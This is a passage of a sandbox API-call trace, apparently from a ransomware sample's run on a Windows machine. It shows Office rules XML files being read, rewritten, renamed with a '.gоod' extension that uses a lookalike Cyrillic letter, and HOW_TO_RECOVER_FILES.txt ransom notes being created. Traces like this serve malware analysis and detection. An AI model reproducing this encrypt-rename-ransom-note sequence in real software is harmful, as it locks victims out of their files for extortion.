"c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winproj.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0272.985] GetFileType (hFile=0x86c) returned 0x1 [0272.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0272.985] GetFileType (hFile=0x86c) returned 0x1 [0272.986] ReadFile (in: hFile=0x86c, lpBuffer=0x3b87950, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec618, lpOverlapped=0x0 | out: lpBuffer=0x3b87950*, lpNumberOfBytesRead=0x207ec618*=0x1000, lpOverlapped=0x0) returned 1 [0273.517] CloseHandle (hObject=0x86c) returned 1 [0273.517] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0273.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0273.517] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winproj.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0273.517] GetFileType (hFile=0x86c) returned 0x1 [0273.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0273.517] GetFileType (hFile=0x86c) returned 0x1 [0273.517] WriteFile (in: hFile=0x86c, lpBuffer=0x3870698*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ec6c8, lpOverlapped=0x0 | out: lpBuffer=0x3870698*, lpNumberOfBytesWritten=0x207ec6c8*=0x1010, lpOverlapped=0x0) returned 1 [0273.518] CloseHandle (hObject=0x86c) returned 1 [0273.518] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0273.518] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml.gоod", lpFilePart=0x0) returned 0x4e [0273.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0273.518] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winproj.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a20d0e, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xc9a20d0e, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0x9f3d816d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x282bc)) returned 1 [0273.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0273.518] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winproj.exe_rules.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winproj.exe_rules.xml.gоod")) returned 1 [0273.519] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0273.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0273.520] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x3913770 | out: lpFileInformation=0x3913770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x464d669, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x464d669, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x464d669, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x3694b)) returned 1 [0273.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0273.520] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0273.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0273.520] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0273.521] GetFileType (hFile=0x86c) returned 0x1 [0273.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0273.521] GetFileType (hFile=0x86c) returned 0x1 [0273.521] SetFilePointer (in: hFile=0x86c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x1000 [0273.521] ReadFile (in: hFile=0x86c, lpBuffer=0x3913bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec668, lpOverlapped=0x0 | out: lpBuffer=0x3913bb8*, lpNumberOfBytesRead=0x207ec668*=0x1000, lpOverlapped=0x0) returned 1 [0273.523] CloseHandle (hObject=0x86c) returned 1 [0273.523] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0273.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0273.523] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0273.523] GetFileType (hFile=0x86c) returned 0x1 [0273.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0273.523] GetFileType (hFile=0x86c) returned 0x1 [0273.523] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x3694b [0273.523] WriteFile (in: hFile=0x86c, lpBuffer=0x3914e68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ec588, lpOverlapped=0x0 | out: lpBuffer=0x3914e68*, lpNumberOfBytesWritten=0x207ec588*=0x10, lpOverlapped=0x0) returned 1 [0273.524] CloseHandle (hObject=0x86c) returned 1 [0273.524] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0273.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0273.524] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0273.524] GetFileType (hFile=0x86c) returned 0x1 [0273.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0273.524] GetFileType (hFile=0x86c) returned 0x1 [0273.525] ReadFile (in: hFile=0x86c, lpBuffer=0x3917300, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec618, lpOverlapped=0x0 | out: lpBuffer=0x3917300*, lpNumberOfBytesRead=0x207ec618*=0x1000, lpOverlapped=0x0) returned 1 [0273.553] CloseHandle (hObject=0x86c) returned 1 [0273.553] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0273.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0273.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0273.643] GetFileType (hFile=0x86c) returned 0x1 [0273.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0273.644] GetFileType (hFile=0x86c) returned 0x1 [0273.644] WriteFile (in: hFile=0x86c, lpBuffer=0x387a5b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ec6c8, lpOverlapped=0x0 | out: lpBuffer=0x387a5b8*, lpNumberOfBytesWritten=0x207ec6c8*=0x1010, lpOverlapped=0x0) returned 1 [0273.644] CloseHandle (hObject=0x86c) returned 1 [0273.644] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0273.644] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml.gоod", lpFilePart=0x0) returned 0x4e [0273.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0273.644] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x464d669, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x464d669, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9f509437, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3695b)) returned 1 [0273.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0273.644] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml.gоod")) returned 1 [0273.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ebe60) returned 1 [0273.645] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache", nBufferLength=0x105, lpBuffer=0x207eb900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache", lpFilePart=0x0) returned 0x4a [0273.645] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\*", lpFindFileData=0x207ebb80 | out: lpFindFileData=0x207ebb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0273.646] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.646] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyComputer", cAlternateFileName="MYCOMP~1")) returned 1 [0273.646] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyComputer", cAlternateFileName="MYCOMP~1")) returned 0 [0273.647] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0273.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebda0) returned 1 [0273.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebd60) returned 1 [0273.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ebe60) returned 1 [0273.647] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache", nBufferLength=0x105, lpBuffer=0x207eb900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache", lpFilePart=0x0) returned 0x4a [0273.647] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\*", lpFindFileData=0x207ebb80 | out: lpFindFileData=0x207ebb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0273.647] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.647] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyComputer", cAlternateFileName="MYCOMP~1")) returned 1 [0273.647] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0273.647] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0273.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebda0) returned 1 [0273.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebd60) returned 1 [0273.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb430) returned 1 [0273.648] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\MyComputer", nBufferLength=0x105, lpBuffer=0x207eaed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\MyComputer", lpFilePart=0x0) returned 0x55 [0273.648] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\MyComputer\\*", lpFindFileData=0x207eb150 | out: lpFindFileData=0x207eb150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b340 [0273.648] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.648] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.648] FindClose (in: hFindFile=0x134b340 | out: hFindFile=0x134b340) returned 1 [0273.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb370) returned 1 [0273.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb330) returned 1 [0273.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb430) returned 1 [0273.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\MyComputer", nBufferLength=0x105, lpBuffer=0x207eaed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\MyComputer", lpFilePart=0x0) returned 0x55 [0273.649] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\MyComputer\\*", lpFindFileData=0x207eb150 | out: lpFindFileData=0x207eb150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0273.649] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.649] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.649] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0273.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb370) returned 1 [0273.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb330) returned 1 [0273.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\MyComputer\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207eae80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\MyComputer\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0273.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb3a0) returned 1 [0273.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\MyComputer\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\backstageinappnavcache\\mycomputer\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0273.650] GetFileType (hFile=0x86c) returned 0x1 [0273.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb310) returned 1 [0273.650] GetFileType (hFile=0x86c) returned 0x1 [0273.651] WriteFile (in: hFile=0x86c, lpBuffer=0x38b7db0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207eb468, lpOverlapped=0x0 | out: lpBuffer=0x38b7db0*, lpNumberOfBytesWritten=0x207eb468*=0x5d0, lpOverlapped=0x0) returned 1 [0273.652] CloseHandle (hObject=0x86c) returned 1 [0273.652] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x63 [0273.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ebdd0) returned 1 [0273.652] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\backstageinappnavcache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0273.653] GetFileType (hFile=0x86c) returned 0x1 [0273.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebd40) returned 1 